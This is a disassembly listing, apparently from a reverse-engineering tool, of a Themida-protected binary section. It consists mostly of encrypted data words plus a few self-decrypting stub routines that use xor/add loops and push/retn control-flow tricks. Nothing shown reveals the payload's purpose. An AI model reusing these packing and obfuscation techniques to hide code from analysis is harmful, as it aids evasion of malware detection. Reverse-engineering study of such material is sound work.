dd 16932CCAh, 9BB4A1B3h, 31073A8Ah, 1AC5EC9Eh, 0BD59CA2Fh
dd 2C529Dh, 0AB660000h, 4003DB0Bh, 169BF5F0h, 37A7062Bh
dd 3C5C0EFFh, 85C82B6Bh, 721693F1h, 0CC3118C7h, 549DBD1Ch
dd 0A6h, 5BCB298Ah, 0C7248BAFh, 347D5F57h, 6AA743B3h, 859E9808h
dd 0A9199A26h, 20A39086h, 8EA91994h, 0CB8004E1h, 30C5EAC2h
dd 879F4695h, 0DB4BA810h, 0A223103Ah, 9E625832h, 258E506Eh
dd 6D6254C4h, 0B7F01E7Dh, 0A27169Fh, 0FD39A9h, 0EB49366Ah
dd 0C4263B7Bh, 426D6254h, 0E260516Dh, 2E8CA372h, 7B48DFBEh
dd 0A193B7D2h, 77121h, 0C4349200h, 0F7F0231h, 0CC3CB966h
dd 676FA29h, 0D242C06Fh, 6C276443h, 28F79E0Eh, 71BE57C7h
dd 5DD2A313h, 3C876EDEh, 0E16EB312h, 8C0D169Dh, 56C624B0h
dd 0A31370BFh, 0C72466D2h, 0F1525F57h, 9BD0F481h, 0EC000002h
dd 6DDD624Fh, 0FCB65429h, 93320C3Ch, 16A1F9B0h, 9DC47F5Dh
dd 0FE169DFAh, 9DFA0247h, 68D8E916h, 3203B357h, 0FA5C8104h
dd 6E29169Dh, 229F0A3Fh, 0F23F9DC3h, 82411D8Dh, 169DF65Fh
dd 0BD5D0D1Eh, 226h, 3F62E1FBh, 0BE169DF6h, 4F15FDEDh
dd 558C488Dh, 5BCDD821h, 8609A7EAh, 0CB3BB910h, 7D4EF2CBh
dd 9E42E8Dh, 0EF8F1086h, 0B249FBFh, 0A16A102h, 0AF0C2539h
dd 6AC9563Fh, 0E1D2BCFAh, 0A01AF060h, 85AEB0E0h, 8D82B424h
dd 0F1CF12B1h, 9DAE169Ah, 607567EDh, 0DA0DF2E0h, 1A8961D2h
dd 10870566h, 2A47D6E7h, 35B1B95Ch, 678C33Fh, 2B8B0000h
dd 0E445DABBh, 3392A174h, 7BFD32C3h, 35B56A0Bh, 307B30C5h
dd 0E88DFD7Dh, 0B144B43Bh, 3920282h, 0B65FCF2Ch, 5F82410Dh
dd 1E169DE6h, 0C724DF5Dh, 0EE558757h, 1086F2ABh, 53C32552h
dd 79456A63h, 86F287CAh, 0B5556610h, 99096A77h, 0B828849Dh
dd 9606657Eh, 4B7227A0h, 15C8F198h, 0B669F8DDh, 0A8A30D44h
dd 82F251C2h, 683BBEF3h, 43C197A8h, 0D5000001h, 5F57C724h
dd 0F481F152h, 79E9496Ah, 27572791h, 0FB74AC17h, 28F9169Bh
dd 0FB4687EEh, 882F1693h, 2789F455h, 420F9DBDh, 4D000000h
dd 731787E4h, 0DB0BABBFh, 0F5F04003h, 62B169Bh, 1E0036A6h
dd 93F162A7h, 17380916h, 0D7564373h, 715E2F67h, 647E5745h
dd 86EA4598h, 0D3FAA941h, 9C169362h, 0FA7FCAF5h, 829DBDA9h
dd 0B5h, 0E0624F96h, 1A999A70h, 0F3776CAAh, 1D9E9383h
dd 0F2C009BCh, 41421086h, 0BB4DE8ECh, 0F8D7E858h, 0DE46A5BEh
dd 0A4D9CFC8h, 2F9F230Ah, 163916E7h, 0DB65427Fh, 4671087h
dd 0B98DCA94h, 797A4CD4h, 0C108BB83h, 0AC1087B4h, 16A4EF9Bh
dd 992C3262h, 169FDC7Bh, 42D3102h, 5B7E45A6h, 22169E1Ch
dd 0C8573E11h, 23FA6Ah, 63B7D262h, 524F151h, 5FDF0000h
dd 981906EFh, 57D64D28h, 9F210EE7h, 59D9462Fh, 1C8F0CE9h
dd 0E4B121A1h, 9D78E84Fh, 0DFB62686h, 0F283F350h, 346FDE1h
dd 0EA169DE7h, 0C6241329h, 644BBB3Ah, 0B921A291h, 8CD1E55Ah
dd 6D082725h, 0CA864FBFh, 3ABFEBEDh, 44A76406h, 72D1E2D4h
dd 0A3223C02h, 1086B57Eh, 2F3E2CFDh, 3191h, 624FA500h
dd 999A70E0h, 9F94AA1Ah, 936CAA1Ah, 0C7243DF7h, 68CF5F57h
dd 81F15275h, 2BD0F4h, 0D00E0000h, 86F22C75h, 0B5FECF10h
dd 0FCD1C535h, 0C724260Eh, 0C82A8757h, 66D65B58h, 81AB5F30h
dd 86F2DA02h, 5C832E10h, 0FD98086Bh, 57C7242Fh, 0F525D95Fh
dd 0F969C8E9h, 44114B11h, 0DA246B81h, 0CB75382h, 16A1493Fh
dd 0EF28753Eh, 6C54D58Bh, 0AC451D4Bh, 0ECC3827Ah, 0F262E1D2h
dd 0F161C7ECh, 7D07A19h, 950E11AFh, 0BA0B2CDAh, 0CFFD51D0h
dd 42C17218h, 0A256E4D2h, 0A7D96C72h, 2610BA00h, 8BE84915h
dd 46A57A1Bh, 0A65AE0D6h, 0B1DD6876h, 341AAB03h, 3F719A63h
dd 0F6AB9Fh, 40184h, 14840200h, 0DF4FB281h, 1C8CE936h
dd 0D646AA79h, 2292F03Fh, 5C575453h, 98876EDEh, 61CEA717h
dd 8DA273E3h, 0ECD7BE2Eh, 0E43E63E2h, 3CBD169Dh, 57C72400h
dd 0A21271BEh, 8CFC7F74h, 716BEF8Ah, 86F28FD2h, 0AD5D6E10h
dd 8FECDB02h, 0F272972Eh, 0CF91086h, 4F93DADh, 4471042Bh
dd 97A819B9h, 493Fh, 0B4347D00h, 7857C728h, 624FAA92h
dd 137D6DDDh, 22921763h, 2A341BF4h, 5238A809h, 41F6390Ch
dd 0A475169Ch, 0AB1B999Ah, 0BDA0E7CAh, 0F0E51693h, 0E8E106FCh
dd 0B25F0B1Bh, 1F14E151h, 89E92D9Dh, 35Ah, 9D0D72BFh, 0C72445EDh
dd 0F1525F57h, 0F2C6F481h, 1149FCC2h, 0DC169BFBh, 3ABEF3CBh
dd 0A465EDCAh, 27C69E48h, 236AC943h, 0CC169304h, 6ACF7A65h
dd 0F29DBE14h, 20h, 0DB0BABC6h, 0F5F04003h, 0BC8D169Bh
dd 0F1D2FB7Ah, 0F49B1693h, 1CFD80C9h, 0E3839DBDh, 97000000h
dd 0BA3BC724h, 585ECE2Eh, 714E4867h, 3D76585Eh, 0E3464DBDh
dd 0A04A4373h, 979F0F73h, 0CB36A0B5h, 0DBEC44B7h, 1181022Fh
dd 3FAF0C25h, 261C5B56h, 0AD0E1086h, 0BDF6583Dh, 0EF1CCE3Eh
dd 901A1C8Ch, 0D646A4F0h, 0FEC0EFE0h, 9B21E747h, 1C48616h
dd 169325D8h, 0D8BD92A3h, 5DBE3D76h, 9325A3E6h, 56794A16h
dd 806ADA5Dh, 2836661Ah, 8B4A759Dh, 1D9D9610h, 0CA9469ADh
dd 0AB70D6FBh, 0E684951Ch, 0FFDDE1B2h, 5A65BBD6h, 0E2880E19h
dd 9461D131h, 0E83194CAh, 931CABFDh
dd 0C72BE882h, 4187C657h, 0E2D4B1BEh, 25962h, 0DC4CAA00h
dd 1787EA39h, 0E454B17Eh, 2E9E2211h, 0EA5AD847h, 0A41F8C0Bh
dd 0F03FD646h, 0A9761F8Fh, 0E53ADB4Bh, 547F1686h, 0EA96BB8Ah
dd 9455169Dh, 56C624A8h, 0A31370BFh, 0BAB66D2h, 0F04003DBh
dd 8D169BF5h, 0D2FB7ABCh, 9B1693F1h, 829C9F4h, 3FC3AAAh
dd 0F141883Bh, 1B2C1693h, 1CB9446Fh, 903F9DBDh, 5B000000h
dd 475FC724h, 0F7746691h, 5F54426Dh, 0C82B6BDBh, 108639ABh
dd 0E8F666C5h, 13F767CBh, 0D848AB78h, 7CAC4CDEh, 80C97C62h
dd 6B108621h, 17AEB05Ah, 169B2717h, 4A700516h, 0CD784676h
dd 108B4F6Ah, 0D263809h, 0CB583DADh, 0E126F767h, 7EB1BDD1h
dd 19CFC78h, 7670000h, 0D031FE97h, 1F9E9560h, 0D759C6AFh
dd 21A18E67h, 0C4C7E4B1h, 1CF969C9h, 6530A007h, 17FE6ECEh
dd 5A3BAB08h, 0BBDE6569h, 42169DEBh, 0C6247BC1h, 1370BF56h
dd 2466D2A3h, 525F57C7h, 950565F1h, 3392ACA1h, 1086F2EEh
dd 0CB93BC8Dh, 0F2EF3291h, 0BD8E1086h, 979CBECDh, 4AC7A313h
dd 0AB3D79E9h, 4003DB0Bh, 169C0AECh, 8F76A071h, 1A3BB726h
dd 0F8063267h, 58D9B11Ch, 0C08A6BDBh, 0DC05C09Eh, 9F1693D3h
dd 0D3F2178Eh, 0A8791693h, 0F828D8C2h, 39BBF8E6h, 0D3246DD8h
dd 0F6C71693h, 0B3E0DDD9h, 902BDF4Fh, 1089298Ch, 0FDF620F1h
dd 1B080E7Eh, 0F5EE2898h, 0A0100676h, 733DA619h, 0E98DC1ECh
dd 0CAD4FDC8h, 86971CACh, 2E2E95A9h, 4F1AB630h, 2B88977Eh
dd 6667BBBh, 0F4A5A096h, 0F17DFEC9h, 680D2292h, 704E7E42h
dd 0A34579D5h, 132BFC04h, 0B2C9C1Eh, 0CAE80741h, 52FDBF8h
dd 171F8FECh, 0C426D1Ch, 0A3223C6Ch, 0EC8CF8Bh, 0AC1C9D8Ah
dd 4B68F283h, 334076E6h, 9A705FCFh, 2E306020h, 0C8245997h
dd 52B3E008h, 3C9CDE2h, 16276AD9h, 0F5C63402h, 27971415h
dd 0F262E14Eh, 3A0141C4h, 65CC5DC3h, 7EEE4D7Ah, 57A57760h
dd 0A7EF5FE0h, 39E201D6h, 0FF75ECC9h, 6D42B25Bh, 0C241EE7Dh
dd 9BFE261h, 6D3E9DC3h, 165B7C42h, 0E2CE9578h, 9A878565h
dd 9570A616h, 0AD0EB924h, 68CB583Dh, 1336BEF8h, 52000000h
dd 93686D2Fh, 81993AF0h, 0C9122C10h, 4A6273EEh, 0CA247CA0h
dd 0E4475C5Ah, 0D3314274h, 0B93E3363h, 0D6544D49h, 0BF433066h
dd 0D65A474Fh, 0C2433066h, 0EA4F6452h, 68783C7Ah, 2B71h
dd 89241C89h, 4C381E3h, 83000000h, 1C8704EBh, 89535C24h
dd 4C381E3h, 81000000h, 4EBh, 241C8700h, 241C895Ch, 5E08950h
dd 4, 8704E883h, 895C2404h, 0B951240Ch, 30A35AAEh, 787AC181h
dd 0E9D16A8Ah, 1E981h, 81490000h, 0E349C6E1h, 0EE98155h
dd 893F6741h, 8B5459CBh, 0C483240Ch, 8B85004h, 1000000h
dd 8B1889C8h, 0C4812404h, 4, 53240C8Bh, 0C381E389h, 4
dd 8704C383h, 0FF5C241Ch, 815B2434h, 4C4h, 62B0E900h, 52F5FFFAh
dd 84E733E6h, 0B1AB373Ch
db 0EFh, 0E1h, 0B6h
; ---------------------------------------------------------------------------
loc_5DB5DF: ; CODE XREF: Themida_:005DA1F4j
mov eax, 61B1B04h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
dd 14A509ADh, 2D93A484h, 5E510742h, 8981AA5h, 2B8EC4CCh
dd 59F4736Eh, 79C85794h, 73A12653h, 8314C1Eh, 2D75C310h
dd 1C7F8D8Dh, 0C38B061Bh, 27218D89h, 9D890615h, 6151291h
dd 4CD85C7h, 61840615h, 8E90000h, 6E000000h, 93E90141h
dd 0C773CD3Ah, 15111585h, 6, 55006A00h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 18EC8004h
dd 6C98D89h, 9D030615h, 61523EDh, 2D19B5FFh, 9D8B0615h
dd 6152349h, 2C995FFh, 6A0615h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 180424h, 56460000h, 0B5B91CC3h, 0BF661377h
dd 6AF57929h, 2195FF00h
db 2Eh, 15h
; ---------------------------------------------------------------------------
loc_5DB6AE: ; DATA XREF: Themida_:0057A0F8o
push es
mov eax, eax
jmp short loc_5DB702
; ---------------------------------------------------------------------------
db 20h
dd 30E42EC4h, 33531708h, 0D74365A2h, 13ECE49Ah, 1BDD7C19h
dd 5A228F3Fh, 9E14ADA9h, 29176EA1h, 0DD507A17h, 293FA587h
dd 0FD426C8Fh, 0ECCC53Eh, 2B0C1371h, 0D60993A6h, 0E5A30067h
dd 5973F92Bh, 0E41E7FF5h, 122F3220h, 0BBDC62A0h
; ---------------------------------------------------------------------------
push ds
dec eax
loc_5DB702: ; CODE XREF: Themida_:005DB6B1j
call sub_5DB712
; ---------------------------------------------------------------------------
db 8
dd 0BCFE3CFDh, 705EDA20h
db 0CDh, 0C1h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_5DB712 proc near ; CODE XREF: Themida_:loc_5DB702p
pop edx
sub edi, 7E4E9777h
add edx, 7287h
movsx ebx, di
sub eax, eax
mov edi, 663C7276h
loc_5DB729: ; CODE XREF: sub_5DB712+5Ej
mov ecx, [edx+eax]
sbb bx, 0D132h
add ecx, 5F1E4728h
jp loc_5DB741
mov bx, 9874h
loc_5DB741: ; CODE XREF: sub_5DB712+25j
sub ecx, 3353E455h
and bl, 94h
xor ecx, 17C1637Bh
sub di, 83BDh
mov [edx+eax], ecx
mov [ebp+6150B85h], ecx
and bl, 28h
sub eax, 4
mov [ebp+6152335h], ebx
cmp eax, 0FFFF8DECh
jnz loc_5DB729
push esi
mov [ebp+6153095h], eax
pop ebx
call sub_5DB795
lea esi, [ebx+12B2BF0Ah]
lds ebp, [eax+79h]
push ecx
push eax
jmp far ptr 0A499h:7960E088h
sub_5DB712 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5DB795 proc near ; CODE XREF: sub_5DB712+6Cp
movzx ecx, di
pop edi
add edi, 69EFh
adc ebx, 39A5047Eh
loc_5DB7A5: ; CODE XREF: sub_5DB795+25j
push 0
jmp loc_5DB7BC
; ---------------------------------------------------------------------------
sbb al, 7
fsubr qword ptr [esi-132F83Dh]
retn
; ---------------------------------------------------------------------------
push edi
dec esp
jbe short loc_5DB7A5
loc_5DB7BC: ; CODE XREF: sub_5DB795+15j
pop esi
jmp loc_5DB7C8
; ---------------------------------------------------------------------------
dw 7856h
dd 7E4054B6h
; ---------------------------------------------------------------------------
loc_5DB7C8: ; CODE XREF: sub_5DB795+28j
; sub_5DB795+6Dj
mov eax, [edi+esi]
movzx ebx, cx
sub eax, 70D0615h
mov edx, [ebp+6152A45h]
add eax, 3B21F0A8h
cmc
add eax, 7F637140h
movzx edx, ax
push eax
add [ebp+61528C1h], edx
pop dword ptr [edi+esi]
mov bx, cx
sub esi, 4
mov ecx, esi
cmp esi, 0FFFF9698h
jnz loc_5DB7C8
mov edx, [ebp+615233Dh]
lea ecx, [ebp+61B1EC7h]
movzx esi, cx
mov [ebp+6152721h], ecx
push 0
push edi
call sub_5DB828
and [edi-3Dh], bl
sub_5DB795 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5DB828 proc near ; CODE XREF: sub_5DB795+8Bp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Dh
inc edi
push edi
retn
sub_5DB828 endp
; ---------------------------------------------------------------------------
dd 4BD77AFCh, 6DB7177Ch, 8B663809h, 0CD85C7D0h, 84061504h
dd 6A000071h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 14042444h, 43000000h, 0F48C353h, 0BD8BD8B7h, 6152D29h
dd 111585C7h, 615h, 6A0000h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1C0424h, 51410000h, 0D15C4AC3h, 97BAF70Fh
dd 0B5FFC8E2h, 6150009h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 14h, 0D8C35343h, 0FFFE8B66h, 1502C995h, 55006A06h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h
dd 1EBE4B53h, 6A4D5087h, 2195FF00h, 8B06152Eh, 0C34DEBC0h
dd 7C15CAC3h, 1A732439h, 6ED6AE59h, 0FC1E07BEh, 8FDCF62Bh
dd 0C16BDE79h, 5E3289A5h, 6EF3E258h, 80B7D4B1h, 0F5B4E4A2h
dd 3A01806Ch, 401FDA83h, 56182393h, 0AC80E1D1h, 0DAA5C844h
dd 3CFA52A1h, 8C1E172Dh, 1F41A496h, 73B59DA1h, 97E9h, 0AA57D400h
dd 0F5CC4719h, 0D138F3BAh, 0ABAFD666h, 4DB2979Fh, 95B7E37Ch
dd 0A9E57200h, 0B69CB5E9h, 0F377609Bh, 0B794A9B6h, 60D7609Eh
dd 0A9BD897Dh, 9EBD8C9Eh, 95ACE372h, 0B98B204Ah, 89937E9Bh
dd 0F496B99Dh, 0A19E96AFh, 0A7D6B594h, 0D100FD91h, 594ACC48h
dd 713C33h, 57DB4D52h, 0B6005EF3h, 899DBBEFh, 899500BDh
dd 0BBEFB69Fh, 0B6D00097h, 7155C3B1h, 0A4370052h, 10D3C20Dh
dd 0E09h, 6 dup(0)
; ---------------------------------------------------------------------------
jmp loc_5DCA03
; ---------------------------------------------------------------------------
push 61B2172h
jmp loc_581882
; ---------------------------------------------------------------------------
push 61B225Eh
jmp loc_581882
; ---------------------------------------------------------------------------
push 61B2359h
jmp loc_581882
; ---------------------------------------------------------------------------
push 61B24F7h
jmp loc_581882
; ---------------------------------------------------------------------------
push 61B2589h
jmp loc_581882
; ---------------------------------------------------------------------------
push 61B262Ah
jmp loc_581882
; ---------------------------------------------------------------------------
push 61B26C2h
jmp loc_581882
; ---------------------------------------------------------------------------
push 61B276Dh
jmp loc_581882
; ---------------------------------------------------------------------------
push 61B2826h
jmp loc_581882
; ---------------------------------------------------------------------------
push 61B2903h
jmp loc_581882
; ---------------------------------------------------------------------------
push 61B29D2h
jmp loc_581882
; ---------------------------------------------------------------------------
push 61B2B16h
jmp loc_581882
; ---------------------------------------------------------------------------
push 61B2D5Ah
jmp loc_581882
; ---------------------------------------------------------------------------
push 61B2E55h
jmp loc_581882
; ---------------------------------------------------------------------------
db 6Ah, 0Ch, 9Ch
dd 57C72AF9h, 0A41471BEh, 6EDE62D1h, 0AA1A9887h, 0E4DFCCCBh
dd 0B07F1686h, 0E936DF4Fh, 0A57A1B8Bh, 943FD646h, 0D2D6FBCAh
dd 0D495169Dh, 57C72468h, 81F1525Fh, 0FD249FBDh, 0F31086F2h
dd 251A1C8Ch, 0B5C0AA7Bh, 3D013105h, 9BFB5286h, 20A3B916h
dd 1693FBF9h, 824BEB1Bh, 5FC11EE0h, 2BFC9C4Eh, 0B41021EBh
dd 79E94F44h, 0FBAA403Dh, 169354D2h, 80C9F49Bh, 9DBDC3FDh
dd 3383h, 864F9700h, 8AD3D9D2h, 57412980h, 0DC6777A7h
dd 169BF85Ch, 0C434B4E1h, 548ABEBh, 0F21693E3h, 4CB19847h
dd 0EE9DBD2Bh, 0BEF868C5h, 0B3F929C1h, 0D000000h, 5F57C724h
dd 9680F052h, 68AE1E9Dh, 0CD2E8DA6h, 86F2D3F6h, 0A6899A10h
dd 3EEB9F70h, 0D0575CBDh, 0EC593660h, 1086F2A5h, 0BD587748h
dd 86F7FAF8h, 575F610h, 0D040C370h, 7CA454E6h, 0B1040FA1h
dd 0FBC3ECEAh, 9CD28048h, 825C6D16h, 585ECE31h, 0C2E88367h
dd 55F0CEFEh, 108B76EAh, 8DA6B889h, 4BD8BD2Dh, 0FC057FE7h
dd 4AC7D3A4h, 6D7F9865h, 5660B1BDh, 0DBAEEh, 0A8189600h
dd 63D356CDh, 0B0209D92h, 7AEA4EE5h, 0B626849Bh, 0D0C3C8DFh
dd 0BC730272h, 0F52ACB3Bh, 0C16E0777h, 9043D242h, 0D3D2F7CEh
dd 0D899169Dh, 56C62464h, 0A31370BFh, 0BAB66D2h, 0D8D903DBh
dd 0A4FFEB5Bh, 169BF594h, 1686EA47h, 5B3B2F20h, 0A4E94C4Ah
dd 511693F1h, 0E752F7E6h, 6D9DBD1Ch, 0C2h, 57C72449h, 59C92A87h
dd 989983B1h, 46C3A717h, 0B9FC7CE4h, 0EC9D49B1h, 0CC09D3C3h
dd 774A67BBh, 0C1DC8EDEh, 108614B3h, 27CE3EBDh, 0B0B7BF8h
dd 1F8FF041h, 4E442617h, 7A647AAAh, 4A4CBC39h, 73C3307Dh
dd 86A94C0Ah, 7411B9E4h, 0CBDC169Ch, 8CBC7C2Ah, 1C4713B2h
dd 6D36108Bh, 0C5EF83DCh, 3158EB71h, 0BC1CABBCh, 0D3EBC4EBh
dd 9EC5CDEh, 3A30981Ah, 3939A321h, 83AC1C9Ch, 8232D1ACh
dd 4331B1BDh, 0CCEBFh, 94048200h, 5FCF3201h, 9C0C69B6h
dd 56C62AF9h, 0A21270BFh, 0DCD7D4D3h, 1807EE5Eh, 0E14E2797h
dd 0D22F363h, 6C573EAEh, 0D0BEE362h, 0BC3D169Dh, 56C62480h
dd 0A31370BFh, 0C72466D2h, 0C52BB73Bh, 436C6155h, 89557A53h
dd 0F2A9F053h, 43541086h, 0BD9F6DA7h, 86F2C306h, 0F199AA10h
dd 0C253C340h, 76A0106Dh, 0E78EFE7Dh, 0D2A64BC6h, 21299CA2h
dd 4C169BFBh, 3879637Bh, 724B4BBBh, 93F88ED3h, 0C5406D16h
dd 0B8397A55h, 0E9DCA248h, 0E0429A5h, 0FE6ECDE6h, 0B1D2A60Ch
dd 19C9CF12h, 0BA9DAEEDh, 413CD3EDh, 0EBF3DC18h, 3B68C58h
dd 160011EBh, 9AA4D4A4h, 2BA23E2Bh, 0DB01DB15h, 4BCB2168h
dd 4AFBCC19h, 194BCB07h, 7002D5E6h, 0CD843996h, 7A4B6B1Fh
dd 0BB397A64h, 98724B4Bh, 318C189Bh, 4307EEC1h, 2A67AA19h
dd 3506194Bh, 0E757D455h, 1D6D7516h, 8004F2B4h, 0BD3h
dd 491017Dh, 0BB5ACA2Fh, 0FC990964h, 0C451C127h, 0FA9B0B6Fh
dd 4FB3EE9Dh, 86E936DFh, 54B07F16h, 0A12211E4h, 6B736431h
dd 9DD1B1D8h, 81BB3C16h, 5F57C724h, 0E9F525D9h, 9C0A265Ah
dd 8BEC4516h, 2D9D181Bh, 427614E9h, 4A65D555h, 0B3BFBABh
dd 90332933h, 1693E549h, 1C876334h, 10893744h, 0F1E6F8C9h
dd 13B01F0Dh, 5ED8B234h, 0ACBBB6D7h, 0DC4CA81Ch, 0F868C9DAh
dd 14BB22BEh, 9B45BCFh, 0D262BD40h, 0FA785DA3h, 0FADDB322h
dd 5DA69674h, 82000000h, 6FDF624Fh, 0B258C824h, 36083808h
dd 0B1080A21h, 9919229Eh, 8D380629h, 1086F844h, 0E2741627h
dd 9C4BD863h, 0CB2A5716h, 4D625B5Bh, 54C44071h, 0ABDF04C1h
dd 0F73C1693h, 3D120474h, 0EF5FDC4Dh, 13360DCFh, 0DA1693ABh
dd 0DD5221C9h, 4BA7EF5Fh, 0AEBh, 5FCF3081h, 90846657h
dd 3EBF0BABh, 0D8F7C8CEh, 11E93F06h, 0C90E16A2h, 0AB1A88F8h
dd 169D4766h, 31233405h, 0E6DAB08Eh, 0DED309D5h, 5E15F159h
dd 1CC189B8h, 59DA5733h, 94170CE9h, 0FE45AF2Ch, 0C7E8DFB1h
dd 659569CFh, 0F3C5EA59h, 536410B9h, 0AFF2518Bh, 4E1CB1F3h
dd 0F390B98Ch, 4A5B1CB1h, 0ADAF8565h, 306B9DA8h, 0D68A421h
dd 8BA4999Dh, 21708CACh, 8169EFCAh, 32C33390h, 36A60B28h
dd 0E454D754h, 0EFEBECB2h, 0BF5CBE66h, 0CB6B25C5h, 0AB040CA3h
dd 8AA5CA1Eh, 2689AAB4h, 0A5E9D4B6h, 0E61AABF0h, 0BFF6FCDh
dd 4C039AABh, 0FAB9E42h, 0A359D25h, 9B1B0000h, 54D54A2Bh
dd 0A32211E4h, 6BCD6233h, 0A5051AFBh, 404B6035h, 987DED4Dh
dd 0E1B4248Bh, 0F382F252h, 0A64FBF3Ch, 4F92311Dh, 2E169DD6h
dd 97B6CF6Dh, 501086F2h, 7BE80B0h, 16A211A8h, 0ED5DE2CFh
dd 0E3FBD4A9h, 4AF9E3F9h, 169DD207h, 2970D5E6h, 0D4169DD2h
dd 89EA27C3h, 0E1D27C19h, 0C8C5F161h, 0D20A4FF6h, 20F1169Dh
dd 0DE6AC94Ah, 0DBACEA5Ah, 4A238D84h, 0E9C6E987h, 4B7B3BADh
dd 0AC98D073h, 54651087h, 0BA8808C9h, 0D55D57B1h, 9A3h
dd 14E151ADh, 4B2A9A1Fh, 0CE959D4h, 54219117h, 0AEB5BDFh
dd 1FA31E8Dh, 0D659C6AFh, 24A08F66h, 0F152E1B4h, 0FBE3F481h
dd 9DD70148h, 112BEC16h, 6DDD624Fh, 0BF2F8C7Dh, 7D096A77h
dd 1EA39000h, 0A69581AEh, 6152A00Fh, 117C6EDEh, 97A81EACh
dd 49F34h, 1F2D2A00h, 9E37AE7Fh, 0AB38DC8Eh, 4003DB0Bh
dd 16A21147h, 0F8390516h, 0E06A0B7Bh, 5B7F7CF7h, 3AD0A2D1h
dd 8AEE7AF9h, 8201351Ah, 169D085Bh, 97186414h, 8F360827h
dd 1087F05Bh, 676F522h, 338D5429h, 0E0D6B1BAh, 90264h
dd 80F04E00h, 4BBB3EF5h, 88F875AAh, 42B236EDh, 8EFE7CB3h
dd 0C8FBB0E7h, 41BFA6Ah, 0CD6233A3h, 916FF6Fh, 685B3AAAh
dd 0D4BADF66h, 0C041169Dh, 57C7247Ch, 0B3347D5Fh, 96AA743h
dd 278E9D99h, 7BF93AB8h, 58320B0Bh, 0A81DD05Dh, 4025897h
dd 0B6340000h, 1086F297h, 0BE80B050h, 76AF675h, 81AE9F97h
dd 8CD2B895h, 90B98C52h, 5B1086F2h, 7405A04Ah, 716A211h
dd 0A80B2836h, 65C65D38h, 8737C1F5h, 84BC8757h, 4910872Ah
dd 0DD8A578h, 0A58FB1BBh, 86A1Dh, 1888E600h, 0D343A67Dh
dd 2090ED42h, 0EA5ADE55h, 2696140Bh, 6053584Fh, 8CA372E2h
dd 45DABB2Bh, 919E77E7h, 0A033C232h, 0D4C207BEh, 0E8A9169Dh
dd 57C72454h, 81F1525Fh, 7FB4A695h, 0B3DE8CFCh, 1DB03D0Ch
dd 713897A8h, 76000003h, 9C4EBE3Dh, 0F29DB678h, 0B9FA1086h
dd 0FFD0C636h, 0A1D1A50Bh, 1172269Dh, 2AFB16A2h, 0D174314h
dd 0A19C2496h, 969DB222h, 71C3A717h, 0C253C340h, 0C09E0E6Dh
dd 989E0E73h, 0DF49C3A7h, 477F71Fh, 322A9B56h, 0CE82411Dh
dd 2D108007h, 0FF37A704h, 6B3C5C0Eh, 0BA733392h, 268EA8B1h
dd 7BFh, 30C53591h, 670E7E03h, 28CD3DB8h, 700575FBh, 26CF3FC3h
dd 23873A71h, 0EA4DE2B3h, 28849B7Ah, 0E546DDB8h, 2737A075h
dd 9DD5759Ch, 0C577F816h, 0B83BC724h, 422F6748h, 0A26551C1h
dd 302EC4EBh, 86F24C95h, 6C1E2F10h, 68DB3CBFh, 1086F221h
dd 41D4FBCCh, 0A81A0974h, 0C8F97h, 64CD0000h, 43F79303h
dd 2A7B5h, 9DB6D100h, 561086F2h, 65D556A2h, 0B93F744Ah
dd 6E704D49h, 86F2B2D7h, 82683910h, 115809BCh, 122316A2h
dd 1484E74Ch, 0E151B281h, 69CAE7B5h, 0D7A711F9h, 7DB9298Bh
dd 0B8970764h, 44FCC797h, 91080D5h, 43FC6538h, 0D1E3B1BBh
dd 70671h, 7CEC4A00h, 0B7278A99h, 84F451DEh, 4EBE42F1h
dd 8AFA78A7h, 0C4FFACEBh, 101FF666h, 0C9563FAFh, 51AFB6Bh
dd 745F36A6h, 0DAB6DB6Ah, 0B435169Dh, 57C72488h, 81F1525Fh
dd 14BBF295h, 15E050B3h, 630C49h, 7DEAE02h, 0C52863h, 1C4B97A9h
dd 81000000h, 5516B054h, 55B00D31h, 0F3DCB1E5h, 0F1B52317h
dd 0F3000001h, 0C9CD3DBEh, 0B61E16F4h, 1086F29Ch, 6777A757h
dd 0A21136DCh, 0D8E6B716h, 0D21A3F06h, 0B4E1169Dh, 2E8C737h
dd 893C223Ch, 169DD240h, 9C191A2Bh, 7515EA2Ch, 2EC737B4h
dd 24128201h, 0ACB2E296h, 70ABACB2h, 0CA44D745h, 21A7EA5Bh
dd 7546169Dh, 26722695h, 0C3991080h, 0B625D900h, 5E83421Ch
dd 1D1CB625h, 0E783940Ch, 0AC17E6B7h, 37B1BA90h, 629B53Dh
dd 0C7270000h, 1071BE57h, 0DF5ED5A0h, 1799866Fh, 0E161CEA7h
dd 8407A471h, 5C39A909h, 25F060C7h, 573EAE0Eh, 1AFB6BC8h
dd 0FB1EA5A9h, 82169DDBh, 0C7243B01h, 0F1525F57h, 1F9C9581h
dd 0D4C23293h, 0D1E2D4FBh, 0B5120474h, 5F0AD904h, 0C3408736h
dd 0C4268B53h, 7D6D6254h, 1A36C3EEh, 19BE97A8h, 0FC000000h
dd 0FE3E63E2h, 0FBBD1086h, 86FE0148h, 0F4DBEC10h, 1B51E16h
dd 0D1000001h, 86F29CB6h, 77A75710h, 113EDC67h, 0EEBF16A2h
dd 0F060E3D0h, 21AD0E25h, 1EE72F9Fh, 7766EBC7h, 6E416E7Eh
dd 0ED4D6628h, 0A644397Dh, 421C4CECh, 5E83421Ch, 1D169D71h
dd 7170990Ch, 2AFB169Dh, 9347FE40h, 5A108076h, 0E23FB449h
dd 8EA8B1BAh, 55A26h, 878F600h, 0C333B66Dh, 1080FD32h
dd 0DA4AAE85h, 1686E43Bh, 3063287Fh, 9C9362D2h, 55CAAB1Bh
dd 0A18E67D7h, 0F0E3B222h, 0DB3257EEh, 38B9169Dh, 57C72404h
dd 81F1525Fh, 0AC1C9C95h, 6EFA796Ah, 0A29B9B0Bh, 8E15898Dh
